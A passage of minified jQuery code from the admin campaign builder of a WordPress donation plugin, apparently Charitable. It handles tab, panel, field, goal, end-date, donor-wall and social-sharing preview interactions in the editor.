li#tab_\"+group_id+\"_content\").removeClass(function(index,className){return(className.match(\u002F(^|\\s)tab_type_\\S+\u002Fg)||[]).join(\" \")});$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").addClass(\"tab_type_\"+selected_value);var data={action:\"charitable_tab_content_preview\",type:selected_value,group_id:group_id,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").html(response.data.output)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})});$builder.on(\"input\",\"input#charitable-panel-field-settings-charitable-campaign-enable-tabs\",function(e){const isChecked=$(this).is(\":checked\");if(isChecked){$(\"#charitable-preview-tab-container\").addClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-style\").prop(\"disabled\",true).addClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-size\").prop(\"disabled\",true).addClass(\"disabled\")}else{$(\"#charitable-preview-tab-container\").removeClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-style\").prop(\"disabled\",false).removeClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-size\").prop(\"disabled\",false).removeClass(\"disabled\")}});$builder.on(\"input\",\"input.charitable-settings-tab-visible-nav\",function(e){const isChecked=$(this).is(\":checked\"),tabID=$(this).closest(\".charitable-tab-title-row\").data(\"tab-id\");if(isChecked){elements.$preview.find(\"nav li#tab_\"+tabID+\"_title\").addClass(\"charitable-tab-hide\")}else{elements.$preview.find(\"nav li#tab_\"+tabID+\"_title\").removeClass(\"charitable-tab-hide\")}});$builder.on(\"keydown\",'.charitable-tab-title-row input[type=\"text\"]',function(e){var k=e.keyCode||e.which,ok=k>=65&&k\u003C=90||k>=96&&k\u003C=105||k>=35&&k\u003C=40||k==32||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k\u003C=105||(k==110||k==190)||k>=37&&k\u003C=40||k==46||k==173||k==8||k>=48&&k\u003C=57;if(!ok||e.ctrlKey&&e.altKey){e.preventDefault()}});$builder.on(\"change\",'.charitable-tab-title-row input[type=\"text\"]',function(e){if($(this).val().trim()===\"\"){$(this).val(\"New Tab\")}})},bindUIInputRange:function(){$builder.on(\"mouseenter\",'input[type=\"range\"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\"));if(field_id>0){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-preview-field-indicator\").removeClass(\"charitable-hidden\")}});$builder.on(\"mouseleave\",'input[type=\"range\"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\"));if(field_id>0){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-preview-field-indicator\").addClass(\"charitable-hidden\")}})},bindAutoResizeCampaignTitle:function(){$builder.on(\"input\",\"input#charitable_settings_title\",function(e){var $this=$(this),the_text=$this.val(),the_text_characters=the_text.length,the_padding=10,the_input_box_width=the_text_characters*12.8+the_padding;wpchar.debug(the_text);wpchar.debug(the_text_characters);wpchar.debug($(\"#charitable_settings_title\").val());app.setCampaignNotSaved();app.updateFormUI(\"title\",the_text);app.resizeTopCampaignTitleInputBox()});$builder.on(\"focusout\",\"input#charitable_settings_title\",function(e){})},resizeTopCampaignTitleInputBox:function(){},bindCampaignTitleBlockTextField:function(){$builder.on(\"keyup\",\"input.charitable-campaign-builder-title\",function(e){app.updateFormUI(\"title\",$(this).val())})},bindUIEditCampaignTitle:function(){},allowTitleUpdate:function($container){if($container.hasClass(\"edit\")){$(\"#charitable_settings_title\").attr(\"disabled\",true);$container.removeClass(\"edit\")}else{$(\"#charitable_settings_title\").removeAttr(\"disabled\");$container.addClass(\"edit\");$(\"#charitable_settings_title\").focus().select()}},bindUIActionsPanels:function(){$builder.on(\"click\",\"#charitable-panels-toggle button:not(.charitable-panel-help-button):not(.charitable-panel-form-upgrade), .charitable-panel-switch\",function(e){e.preventDefault();if(!$(this).hasClass(\"disabled\")){app.panelSwitch($(this).data(\"panel\"))}});$builder.on(\"click\",\".charitable-panel-form-upgrade\",function(e){e.preventDefault();e.stopImmediatePropagation();app.formPanelUpgradeModal()});$builder.on(\"click\",\".charitable-panel-help-button, #charitable-panels-toggle a:has(.charitable-panel-help-button)\",function(e){var $anchor=$(this).closest(\"a\");if(!$anchor.length){$anchor=$(this).is(\"a\")?$(this):$(this).closest(\"a\")}if($anchor.length&&$anchor.attr(\"href\")){e.stopPropagation();e.stopImmediatePropagation();var href=$anchor.attr(\"href\");var target=$anchor.attr(\"target\")||\"_blank\";if(target===\"_blank\"){window.open(href,target)}else{window.location.href=href}return false}});$builder.on(\"click\",\".charitable-panel .charitable-panel-sidebar-section:not(.charitable-need-upgrade):not(.charitable-not-available):not(.charitable-not-installed):not(.charitable-not-activated):not(.charitable-installed-refresh):not(.charitable-not-available):not(.charitable-addon-file-missing)\",function(e){app.panelSectionSwitch(this,e)});$builder.on(\"click\",\".charitable-panels .charitable-panel-sidebar-content .charitable-panel-sidebar-toggle\",function(){$(this).parent().toggleClass(\"charitable-panel-sidebar-closed\")});$builder.on(\"focusout\",'input[name=\"tabs__campaign__title\"]',function(e){e.preventDefault();app.updateFormUI(\"tabs__campaign__title\",$(this).val())});app.bindUIActionPanelsTabs()},bindUIActionPanelsTabs:function(){$builder.on(\"input\",'.charitable-tab-title-row input[type=\"text\"]',function(e){e.preventDefault();var $textBox=$(this),$the_element=$textBox.closest(\".charitable-group\"),theGroupID=$the_element.attr(\"data-group_id\"),updatedText=0===$textBox.val().length?\"New Tab\":$textBox.val(),updatedTextClean=app.removeTags(updatedText);$the_element.find(\".charitable-general-layout-heading\").find(\"span\").html(updatedTextClean);$(\"nav.charitable-campaign-preview-nav ul\").find(\"#tab_\"+theGroupID+\"_title a\").html(updatedTextClean)})},checkHideTabNavigation:function(){const tab_count=$(\"#charitable-field-options .charitable-layout-options-tab-group\").length-1;if(tab_count>1){$(\"#charitable-field-options\").find(\"input.charitable-settings-tab-visible-nav\").each(function(){$(this).prop(\"checked\",false).attr(\"disabled\",true);$(this).parent().find(\"label\").addClass(\"charitable-disabled\");elements.$preview.find(\"nav.charitable-campaign-preview-nav li\").removeClass(\"charitable-tab-hide\")})}else{$(\"#charitable-field-options\").find(\"input.charitable-settings-tab-visible-nav\").each(function(){$(this).removeAttr(\"disabled\");$(this).parent().find(\"label\").removeClass(\"charitable-disabled\")})}},removeTags:function(theString){return theString},panelSwitch:function(panel){var $panel=$(\"#charitable-panel-\"+panel),$panelBtn=$(\".charitable-panel-\"+panel+\"-button\"),cookieName=\"charitable_panel\";if(!app.hasTemplate()&&panel!==\"template\"){return}if(!$panel.hasClass(\"active\")){const event=CharitableUtils.triggerEvent($builder,\"charitablePanelSwitch\",[panel]);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$(\"#charitable-panels-toggle\").find(\"button\").removeClass(\"active\");$(\".charitable-panel\").removeClass(\"active\");$panelBtn.addClass(\"active\");$panel.addClass(\"active\");history.replaceState({},null,wpchar.updateQueryString(\"view\",panel));$builder.trigger(\"charitablePanelSwitched\",[panel]);wpCookies.set(cookieName,panel,2592e3);wpCookies.set(\"charitable_panel_content_section\",\"\",2592e3);wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3)}},panelSectionSwitch:function(el,e){if(e){e.preventDefault()}var $this=$(el),$panel=$this.parent().parent(),section=$this.data(\"section\"),$sectionButtons=$panel.find(\".charitable-panel-sidebar-section\"),$sectionButton=$panel.find(\".charitable-panel-sidebar-section-\"+section);if($this.hasClass(\"upgrade-modal\")||$this.hasClass(\"education-modal\")){return}if(!$sectionButton.hasClass(\"active\")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton)}},panelSectionSwitchTo:function(section,$panel,$sectionButtons,$sectionButton){const event=CharitableUtils.triggerEvent($builder,\"charitablePanelSectionSwitch\",section);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$sectionButtons.removeClass(\"active\");$sectionButton.addClass(\"active\");$panel.find(\".charitable-panel-content-section\").hide();$panel.find(\".charitable-panel-content-section-\"+section).show();var cookieName=\"charitable_panel_content_section\";wpCookies.set(cookieName,section,2592e3)},bindUIActionsFields:function(){$builder.on(\"click\",\".charitable-tab a\",function(e){e.preventDefault();app.fieldTabToggle($(this).parent().attr(\"id\"));if(\"add-layout\"===$(this).parent().attr(\"id\")){app.resetPreviewArea()}});$builder.on(\"click\",\".charitable-layout-options-tab-tabs .charitable-toggleable-group\",function(e){e.preventDefault();app.fieldGroupTogglev2($(this),\"click\")});$builder.on(\"click\",\".charitable-add-fields .charitable-toggleable-group\",function(e){e.preventDefault();app.fieldGroupTogglev3($(this),\"click\")});$builder.on(\"click\",\".charitable-tab-group-delete\",function(e){e.preventDefault();e.stopPropagation();if(app.isFormPreviewActionsDisabled(this)){return}var $the_element=$(this).closest(\".charitable-group\"),theGroupID=$the_element.attr(\"data-group_id\");app.tabDelete(theGroupID)});$builder.on(\"click\",\".charitable-field\",function(e){if(e.target.classList.contains(\"charitable-dismiss-button\")){return}e.stopPropagation();$(this).find(\".charitable-field-edit\").click()});$builder.on(\"click\",\".charitable-field-delete\",function(e){e.preventDefault();e.stopPropagation();var confirmation=$(this).parent().hasClass(\"charitable-missing-addon-content\")?false:true,field_id=parseInt($(this).closest(\".charitable-field\").data(\"field-id\"));app.fieldDelete(field_id,confirmation)});$builder.on(\"click\",\".charitable-field-duplicate\",function(e){e.preventDefault();e.stopPropagation();app.fieldDuplicate($(this).parent().data(\"field-id\"))});$builder.on(\"click\",\".charitable-field-edit\",function(e){e.preventDefault();e.stopPropagation();app.resetPreviewArea();$(this).parent().addClass(\"active\");$(\"ul.charitable-tabs li#add-layout a\").removeClass(\"active\");$(\"ul.charitable-tabs li#layout-options a\").addClass(\"active\");var field_id=parseInt($(this).parent().data(\"field-id\"));wpCookies.set(\"charitable_panel_active_field_id\",field_id,2592e3);app.fieldEdit($(this).data(\"type\"),$(this).data(\"section\"),$(this).parent().data(\"field-id\"),field_id,$(this).parent().data(\"field-type\"))});$builder.on(\"click\",\".charitable-add-fields-button\",function(e){e.preventDefault();const $field=$(this);if($field.hasClass(\"ui-draggable-disabled\")){return}let type=$field.data(\"field-type\"),event=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldAddOnClick\",[type,$field]);if(event.isDefaultPrevented()){return}app.fieldAdd(type,{$sortable:\"default\"})});$builder.on(\"charitableFieldAdd\",function(event,id,type){const fieldTypes=[\"campaign-title\",\"campaign-description\",\"campaign-overview\",\"progress-bar\",\"donation-options\",\"social-sharing\",\"social-links\",\"photo\",\"organizer\",\"html\",\"donate-button\",\"donate-amount\",\"campaign-summary\",\"donate-form\",\"donor-wall\",\"shortcode\",\"text\",\"video\"];if($.inArray(type,fieldTypes)!==-1){app.fieldChoiceSortable(type,`#charitable-field-option-row-${id}-choices ul`)}else{}});$builder.on(\"click\",\".charitable-group-toggle\",function(e){const event=CharitableUtils.triggerEvent($builder,\"charitableFieldOptionGroupToggle\");if(event.isDefaultPrevented()){return false}e.preventDefault();app.resetPreviewArea();var $group=$(this).closest(\".charitable-layout-options-tab\");$group.siblings(\".charitable-layout-options-tab\").removeClass(\"active\");$group.addClass(\"active\");if($(this).parent().hasClass(\"charitable-layout-options-tab-tabs\")){$(\"#charitable-preview-tab-container\").toggleClass(\"active\")}else{$(\"#charitable-preview-tab-container\").removeClass(\"active\")}if($(this).parent().hasClass(\"charitable-layout-options-tab-general\")){wpCookies.set(\"charitable_panel_design_layout_options_group\",\"general\",2592e3)}else if($(this).parent().hasClass(\"charitable-layout-options-tab-tabs\")){wpCookies.set(\"charitable_panel_design_layout_options_group\",\"tabs\",2592e3)}else if($(this).parent().hasClass(\"charitable-layout-options-tab-advanced\")){wpCookies.set(\"charitable_panel_design_layout_options_group\",\"advanced\",2592e3)}wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3);$(\".charitable-layout-options-tab-general .charitable-layout-options-group-inner\").html();$(\".charitable-campaign-preview .charitable-select-field\").removeClass(\"active\")});$builder.on(\"click\",\".charitable-field-edit\",function(e){e.preventDefault();$(\"#layout-options a\").addClass(\"active\");$(\".charitable-add-fields\").hide();$(\".charitable-field-options\").show();var $group=$(\".charitable-layout-options-tab-general\");$group.siblings(\".charitable-layout-options-tab\").removeClass(\"active\");$group.addClass(\"active\")});$builder.on(\"click\",function(){app.focusOutEvent()});app.photoFieldEvents($builder);app.campaignSummaryEvents($builder);app.socialSharingEvents($builder);app.socialLinkingEvents($builder);app.donateButtonEvents($builder);app.donateWallEvents($builder);app.progressBarEvents($builder);app.shortcodeEvents($builder);app.organizerEvents($builder);app.cssTextFieldEvents($builder);app.textFieldEvents($builder);app.headlineEvents($builder);app.numberSliderEvents($builder);app.alignFieldEvents($builder);\u002F *highlights *\u002F;app.highlightEvents($builder);app.advancedLayoutOptionsEvents($builder);app.previewHover($builder);app.goalEvents($builder);app.endDateEvents($builder)},endDateEvents:function($builder){$builder.on(\"change\",\"#charitable-panel-field-settings-campaign_end_date\",function(e){app.updateEndDateRelatedItems($(this).val())})},updateEndDateRelatedItems:function(endDate=\"\",theField=$(\"#charitable-panel-field-settings-campaign_end_date\")){if(endDate===\"\"){if(theField.length){endDate=theField.val()}}if(endDate.trim()===\"\"){wpchar.debug(\"updateEndDateRelatedItems - no end date\");elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\");$(this).find(\".campaign-time-left.campaign-summary-item\").addClass(\"charitable-hidden\");wpchar.debug($('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_time_remaining]\"));elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_time_remaining]\").attr(\"disabled\",true).addClass(\"charitable-disabled\").prop(\"checked\",false).next().addClass(\"charitable-disabled\")})}else{wpchar.debug(\"updateEndDateRelatedItems - there is an end date\");elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\");elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_time_remaining]\").attr(\"disabled\",false).removeClass(\"charitable-disabled\").next().removeClass(\"charitable-disabled\")})}},goalEvents:function($builder){$builder.on(\"change\",\"#charitable-panel-field-settings-campaign_goal\",function(e){app.updateGoalRelatedItems($(this).val())})},updateGoalRelatedItems:function(goalAmount=\"\",theField=$(\"#charitable-panel-field-settings-campaign_goal\")){wpchar.debug(goalAmount,\"goalAmount\");if(goalAmount===\"\"){if(theField.length){goalAmount=theField.val()}}if(goalAmount===\"\"||goalAmount===\"0\"||goalAmount===\"0.00\"){wpchar.debug(\"updateGoalRelatedItems - checkpoint 0\");elements.$preview.find(\".charitable-field-progress-bar .progress\").addClass(\"charitable-campaign-preview-not-available\").addClass(\"charitable-hidden\");elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\");$(this).find(\".campaign-raised.campaign-summary-item\").addClass(\"charitable-hidden\");wpchar.debug(elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\"));elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\").prop(\"checked\",false).attr(\"disabled\",true).addClass(\"charitable-disabled\").next().addClass(\"charitable-disabled\")});elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html();$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\"∞\")})}else{var regex_decemial=\u002F^\\d+\\.\\d+$\u002F,regex_comma=\u002F^\\d+\\,\\d+$\u002F;if(regex_comma.test(goalAmount)){wpchar.debug(\"updateGoalRelatedItems - checkpoint 1\");app.updateGoalisPresentRelatedUI();elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);wpchar.debug(charitable_builder.currency_symbol+goalAmount);$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\" \"+charitable_builder.currency_symbol+goalAmount)})}else if(regex_decemial.test(goalAmount)){wpchar.debug(\"updateGoalRelatedItems - checkpoint 2\");app.updateGoalisPresentRelatedUI();elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);santitizedValue=goalAmount.toString().replace(\u002F\\B(?=(\\d{3})+(?!\\d))\u002Fg,\",\");$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\" \"+charitable_builder.currency_symbol+santitizedValue)})}else{wpchar.debug(\"updateGoalRelatedItems - checkpoint 3\");app.updateGoalisPresentRelatedUI();goalAmount=goalAmount.replace(\u002F[^0-9\\.\\,]\u002Fg,\"\");elements.$preview.find(\".charitable-field-progress-bar .campaign-goal\").each(function(){var goalLabel=$(this).find(\"span\").html();$(this).html(\"\u003Cspan>\"+goalLabel+\"\u003C\u002Fspan>\"+\" \"+charitable_builder.currency_symbol+goalAmount)})}}},updateGoalisPresentRelatedUI:function(){elements.$preview.find(\".charitable-field-campaign-summary\").each(function(){var field_id=$(this).attr(\"data-field-id\"),$preview_summary=$(this);if($('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\").is(\":checked\")){if(!$(this).hasClass(\"charitable-hidden\")){$preview_summary.find(\".campaign-raised.campaign-summary-item\").removeClass(\"charitable-hidden\")}}elements.$fieldOptions.find('input[name=\"_fields['+field_id+\"][show_hide][campaign_hide_percent_raised]\").attr(\"disabled\",false).removeClass(\"charitable-disabled\").next().removeClass(\"charitable-disabled\")});elements.$preview.find(\".charitable-field-progress-bar .progress\").removeClass(\"charitable-campaign-preview-not-available\").removeClass(\"charitable-hidden\")},highlightEvents:function($builder){$builder.on(\"click\",\"a.charitable-addon-installed-charitable-lite, a.charitable-addon-installed-charitable-pro\",function(e){e.preventDefault();if($(this).hasClass(\"charitable-addon-recurring-donations\")){elements.$settingsPanel.find(\".charitable-panel-fields-group-recurring-donations\").removeClass(\"charitable-highlight\");$(\"a.charitable-panel-sidebar-section-donation-options\").click();elements.$settingsPanel.find(\".charitable-panel-fields-group-recurring-donations\").addClass(\"charitable-highlight\")}});$builder.on(\"webkitAnimationEnd oanimationend msAnimationEnd animationend\",\".charitable-panel-fields-group-recurring-donations\",function(e){elements.$settingsPanel.find(\".charitable-panel-fields-group-recurring-donations\").removeClass(\"charitable-highlight\")})},advancedLayoutOptionsEvents:function($builder){$builder.on(\"change\",\"select#charitable-design-layout-options-show-field-names\",function(e){const theField=$(this);if(theField.val()===\"hide\"){elements.$formPreview.addClass(\"charitable-preview-hide-field-names\")}else if(theField.val()===\"show\"){elements.$formPreview.removeClass(\"charitable-preview-hide-field-names\")}});$builder.on(\"change\",\"select#charitable-design-layout-options-preview-mode\",function(e){const theField=$(this);if(theField.val()===\"normal\"){elements.$formPreview.removeClass(\"charitable-preview-minimum-preview\")}else if(theField.val()===\"minimum\"){elements.$formPreview.addClass(\"charitable-preview-minimum-preview\")}})},previewHover:function($builder){$builder.on(\"mouseover\",\".charitable-view-campaign-external-link\",function(e){elements.$formPreview.addClass(\"charitable-preview-live\")});$builder.on(\"mouseleave\",\".charitable-view-campaign-external-link\",function(e){elements.$formPreview.removeClass(\"charitable-preview-live\")})},donateButtonEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"].charitable-campaign-builder-donate-button-button-label',function(e){const theTextBox=$(this),field_id=theTextBox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateDonateButtonPreview(field_id,theTextBox.attr(\"name\"),theTextBox.val())})},updateDonateButtonPreview:function(field_id=0,textFieldName=\"\",label_value=\"Donate\"){const preview_field=$(\"#charitable-field-\"+field_id);label_value=label_value.length>0?CharitableUtils.santitizeTextInput(label_value):\"Donate\";preview_field.find(\".placeholder\").html(label_value)},donateWallEvents:function($builder){$builder.on(\"input\",\".charitable-panel-field.charitable-campaign-builder-donor-wall input, .charitable-panel-field.charitable-campaign-builder-donor-wall select\",function(e){const theFormField=$(this),field_id=theFormField.closest(\".charitable-panel-field\").data(\"field-id\");app.updateDonateWallPreview(field_id,theFormField)})},updateDonateWallPreview:function(field_id=0,theFormField){var data={};$('.charitable-panel-field.charitable-campaign-builder-donor-wall[data-field-id=\"'+field_id+'\"]').each(function(){var theArea=$(this);theArea.find('input.charitable-checkbox-for-toggle[type=\"checkbox\"]:checked').each(function(){var theName=$(this).closest('.charitable-toggle-control[data-field-id=\"'+field_id+'\"]').data(\"ajax-label\");if($(this).is(\":checked\")){data[theName]=$(this).val()}else{data[theName]=0}});theArea.find('input[type=\"radio\"]:checked,input[type=\"text\"],input[type=\"number\"],select').each(function(){var theName=$(this).closest('.charitable-panel-field[data-field-id=\"'+field_id+'\"]').data(\"ajax-label\");data[theName]=$(this).val()});data.campaign_id=s.formID;data.field_type=\"donation-wall\";data.field_id=field_id;data.action=\"charitable_builder_field_content_preview\",data.nonce=charitable_builder.nonce});app.disableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').addClass(\"charitable-loading\");$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container span.placeholder\").addClass(\"charitable-loading\").parent().prepend('\u003Cdiv class=\"charitable-loading-spinner preview-ajax\">\u003C\u002Fdiv>');return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug(\"Add field AJAX call is unsuccessful:\",res);return}$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container\").replaceWith(res.data.output);var theTextBox=$('.charitable-panel-field-text[data-field-id=\"'+field_id+'\"] input[type=\"text\"].charitable-campaign-builder-headline');app.updateHeadlinePreview(field_id,theTextBox.attr(\"name\"),theTextBox.val(),theTextBox);app.enableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').removeClass(\"charitable-loading\");$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container span.placeholder\").removeClass(\"charitable-loading\").parent().remove(\".charitable-loading\")}).fail(function(xhr,textStatus,e){wpchar.debug(\"Add field AJAX call failed:\",xhr.responseText);$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').removeClass(\"charitable-loading\");$(\"#charitable-field-\"+field_id+\" .charitable-preview-field-container span.placeholder\").removeClass(\"charitable-loading\").parent().remove(\".charitable-loading\")}).always(function(){})},progressBarEvents:function($builder){$builder.on(\"change\",\".charitable-panel-field.charitable-campaign-builder-progress-bar input, .charitable-panel-field.charitable-campaign-builder-progress-bar select\",function(e){var theFormField=$(this),field_id=theFormField.attr(\"data-field-id\");app.progressBarEventsPreview(field_id,theFormField)});$builder.on(\"keyup\",\".charitable-panel-field.charitable-panel-field-text input.donate_label, .charitable-panel-field.charitable-panel-field-text input.donate_goal\",function(e){var theFormField=$(this),field_id=theFormField.attr(\"data-field-id\");app.progressBarEventsPreviewLabels(field_id,theFormField)})},progressBarEventsPreviewLabels:function(field_id=0,theFormField=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(theFormField.hasClass(\"donate_label\")){preview_field.find(\".campaign-percent-raised span\").html(theFormField.val())}if(theFormField.hasClass(\"donate_goal\")){preview_field.find(\".campaign-goal span\").html(theFormField.val())}},progressBarEventsPreview:function(field_id=0,theFormField=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(theFormField.val()===\"show_donated\"){preview_field.find(\".campaign-percent-raised\").toggleClass(\"charitable-hidden\")}if(theFormField.val()===\"show_goal\"){preview_field.find(\".campaign-goal\").toggleClass(\"charitable-hidden\")}},cssTextFieldEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[data-ajax-label=\"css_class\"]',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeCSSInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},textFieldEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"][data-ajax-label!=\"css_class\"]:not(.charitable-campaign-builder-headline, .charitable-campaign-builder-donate-button-button-label)',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeTextInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},headlineEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"].charitable-campaign-builder-headline',function(e){const theTextBox=$(this),field_id=theTextBox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateHeadlinePreview(field_id,theTextBox.attr(\"name\"),theTextBox.val(),theTextBox);app.setCampaignNotSaved()})},updateHeadlinePreview:function(field_id=0,textFieldName=\"\",label_value=\"\",theTextBox){const preview_field=$(\"#charitable-field-\"+field_id),headline=CharitableUtils.santitizeTitle(label_value),headline_html=label_value.length>0?'\u003Ch5 class=\"charitable-field-preview-headline\">'+headline+\"\u003C\u002Fh5>\":\"\",tempPlaceholderContainer=preview_field.find(\".charitable-placeholder\").length>0?\".charitable-placeholder\":\".placeholder\",placeholderContainer=preview_field.find(\".charitable-field-preview-social-sharing-headline-container\").length>0?\".charitable-field-preview-social-sharing-headline-container\":tempPlaceholderContainer;theTextBox.val(headline);preview_field.find(placeholderContainer).find(\"h5.charitable-field-preview-headline\").remove();preview_field.find(placeholderContainer).first().prepend(headline_html)},shortcodeEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"text\"].charitable-campaign-builder-shortcode',function(e){const theTextBox=$(this),field_id=theTextBox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateShortcodePreview(field_id,theTextBox.attr(\"name\"),theTextBox.val())})},updateShortcodePreview:function(field_id=0,textFieldName=\"\",label_value=\"\"){const preview_field=$(\"#charitable-field-\"+field_id),headline_html=label_value.length>0?'\u003Ch5 class=\"charitable-field-preview-shortcode\">'+label_value+\"\u003C\u002Fh5>\":\"\";preview_field.find(\".placeholder.shortcode-preview\").find(\"h5.charitable-field-preview-shortcode\").remove();preview_field.find(\".placeholder.shortcode-preview\").first().prepend(headline_html)},organizerEvents:function($builder){$builder.on(\"change\",\".charitable-panel-field.campaign-builder-campaign-creator-id-mini select\",function(e){var theFormField=$(this),theAvatarURL=$(this).find(\"option:selected\").data(\"avatar\"),field_id=theFormField.closest(\".charitable-panel-field\").attr(\"data-field-id\");app.organizerEventsPreview(field_id,theFormField,theAvatarURL)})},organizerEventsPreview:function(field_id=0,theFormField=\"\",theAvatarURL=\"\"){$(\"select#charitable-panel-field-settings-campaign_campaign_creator_id\").select2(\"val\",theFormField.val());const preview_field=$(\"#charitable-field-\"+field_id);preview_field.find(\".charitable-organizer-name\").html(theFormField.find(\"option:selected\").text());preview_field.find(\".charitable-organizer-image\").attr(\"style\",\"background-image: url(\"+theAvatarURL+\");\")},campaignSummaryEvents:function($builder){$builder.on(\"click\",'.charitable-campaign-summary-checkboxes input[type=\"checkbox\"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateCampaignSummaryPreview(field_id,theCheckbox.attr(\"name\"))})},updateCampaignSummaryPreview:function(field_id=0,checkboxName=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(checkboxName.indexOf(\"campaign_hide_percent_raised\")>=0){preview_field.find(\".campaign_hide_percent_raised\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"campaign_hide_amount_donated\")>=0){preview_field.find(\".campaign_hide_amount_donated\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"campaign_hide_number_of_donors\")>=0){preview_field.find(\".campaign_hide_number_of_donors\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"campaign_hide_time_remaining\")>=0){preview_field.find(\".campaign_hide_time_remaining\").toggleClass(\"charitable-hidden\")}},socialSharingEvents:function($builder){$builder.on(\"click\",'.charitable-social-network-checkboxes input[type=\"checkbox\"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(\".charitable-panel-field\").data(\"field-id\");app.updateSocialSharingPreview(field_id,theCheckbox.attr(\"name\"))})},updateSocialSharingPreview:function(field_id=0,checkboxName=\"\"){const preview_field=$(\"#charitable-field-\"+field_id);if(checkboxName.indexOf(\"twitter\")>=0){preview_field.find(\".charitable-social-sharing-preview-twitter\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"facebook\")>=0){preview_field.find(\".charitable-social-sharing-preview-facebook\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"linkedin\")>=0){preview_field.find(\".charitable-social-sharing-preview-linkedin\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"instagram\")>=0){preview_field.find(\".charitable-social-sharing-preview-instagram\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"tiktok\")>=0){preview_field.find(\".charitable-social-sharing-preview-tiktok\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"pinterest\")>=0){preview_field.find(\".charitable-social-sharing-preview-pinterest\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"mastodon\")>=0){preview_field.find(\".charitable-social-sharing-preview-mastodon\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"threads\")>=0){preview_field.find(\".charitable-social-sharing-preview-threads\").toggleClass(\"charitable-hidden\")}if(checkboxName.indexOf(\"bluesky\")>=0){preview_field.find(\".charitable-social-sharing-preview-bluesky\").toggleClass(\"ch